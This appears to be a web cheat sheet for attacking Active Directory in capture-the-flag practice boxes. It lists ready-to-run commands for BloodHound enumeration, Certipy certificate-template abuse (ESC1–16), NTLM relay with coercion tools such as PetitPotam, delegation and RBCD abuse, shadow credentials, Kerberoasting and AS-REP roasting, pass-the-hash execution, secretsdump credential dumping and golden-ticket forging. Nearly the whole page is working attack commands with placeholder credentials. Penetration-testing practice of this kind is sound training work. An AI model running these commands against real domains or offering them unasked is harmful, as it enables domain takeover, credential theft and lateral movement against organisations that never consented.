Active Directory in depth
The flow of almost every domain box: enumerate with BloodHound, find a path (ACL, ADCS, delegation, relay) and move to the DC. Fill in the domain, user and password or hash above and the commands adjust on their own.
BloodHound
Collect the data, load it into BloodHound CE and look for paths. Below are Cypher queries to paste into the raw query (Cypher) bar when the path is not obvious.
Practise it on: ForestBlackfieldCascadeSaunaSupport
Collect the data
bloodhound-ce-python -u usuario -p 'Password123!' -d box.htb -ns 10.10.11.20 -dc dc01.box.htb -c All --zip
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --bloodhound -c All --dns-server 10.10.11.20
.\SharpHound.exe -c All --zipfilename datos
Handy Cypher queries
Paste them into Search > Cypher. Change the uppercase domain name if needed.
MATCH (u:User) WHERE u.name STARTS WITH 'usuario' SET u.owned=true RETURN u
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group)) WHERE g.name STARTS WITH 'DOMAIN ADMINS@' RETURN p
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
MATCH p=(u:User {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddKeyCredentialLink|ForceChangePassword|AddMember|AllowedToDelegate*1..]->(n) RETURN p
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE g.highvalue=true MATCH (c:Computer)-[:HasSession]->(u) RETURN c.name, u.name
MATCH p=(n)-[:ReadGMSAPassword]->(m:User) RETURN p
MATCH p=(n)-[:ReadLAPSPassword]->(c:Computer) RETURN p
ADCS (ESC1–16)
If there is an enterprise CA there is almost always a path. Always start with the Certipy scan: it tells you which ESC applies. The usual escalation ends by requesting a certificate that hands you the administrator's NT hash.
Practise it on: AuthorityCertifiedEscapeEscapeTwoFluffyCertificateMirageTombwatcherFriesManagerLoggingInfiltratorScepter
Find vulnerable templates
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs
ESC1 — arbitrary SAN (impersonate anyone)
The template allows enrollment, authenticates the client and lets you set the SAN. Request a cert as the administrator.
Practise it on: AuthorityEscapeTwoFriesMirageScepter
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
ESC2/ESC3 — Any Purpose and Enrollment Agent
Practise it on: Certificate
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
ESC4 — control over the template
You have write permissions over the template: make it vulnerable (like ESC1), request the cert and put it back.
Practise it on: EscapeTwoInfiltrator
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
ESC6/ESC7 — CA flag and control over the CA
certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario
ESC8 — HTTP relay to the CA web endpoint
You coerce a machine into authenticating and relay that NTLM authentication to the CA's web enrollment endpoint. Pairs with the NTLM relay tab.
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
ESC9/ESC10 — no strong certificate mapping
Practise it on: CertifiedMirage
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
ESC13/ESC14/ESC15/ESC16
ESC13: the template adds you to a group via an issuance policy OID. ESC15 (CVE-2024-49019): inject arbitrary EKU with v1 templates. Recent Certipy detects and exploits them.
Practise it on: TombwatcherFriesLogging
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'
NTLM relay
NTLM is not signed by default on many services: if you coerce a machine (or wait for a user to connect) you can relay its authentication to another service where it is accepted. Check SMB signing first.
Practise it on: EscapeFluffyIntelligenceMailingDriverMirage
Where can I relay?
nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txt
Set up the relay
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Coerce the authentication
Fire these at the DC pointing at your machine, with ntlmrelayx already listening.
python3 PetitPotam.py -u usuario -p 'Password123!' -d box.htb 10.10.14.5 10.10.11.20
coercer coerce -u usuario -p 'Password123!' -d box.htb -l 10.10.14.5 -t 10.10.11.20
python3 dementor.py 10.10.14.5 10.10.11.20 -u usuario -p 'Password123!' -d box.htb
Delegation
Kerberos delegation lets a service act on behalf of a user. Misconfigured, it lets you request a ticket as the administrator. Three flavours: unconstrained, constrained and resource-based constrained (RBCD).
Practise it on: AuthorityIntelligenceMirageReboundRustyKeySupportVintagePivotAPI
Find delegations
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
Constrained — S4U
Practise it on: IntelligenceVintage
impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'
Resource-based (RBCD)
If you can write a computer's msDS-AllowedToActOnBehalfOfOtherIdentity, create a machine account and delegate onto it.
Practise it on: AuthorityReboundMirage
impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20
impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20
Shadow credentials (msDS-KeyCredentialLink)
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima
Impacket
The AD swiss-army knife from Linux. Everything accepts -hashes LM:NT for pass-the-hash and -k -no-pass for Kerberos (with KRB5CCNAME set).
Practise it on: ForestBlackfieldSaunaActiveScrambled
Request and use tickets
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccache
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txt
Crack it: hashcat -m 13100 kerberoast.txt rockyou.txt
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt
hashcat -m 18200
Execute commands
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
Dump credentials
Practise it on: ForestBlackfield
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20
impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user Administrator
impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administrator
No command matches.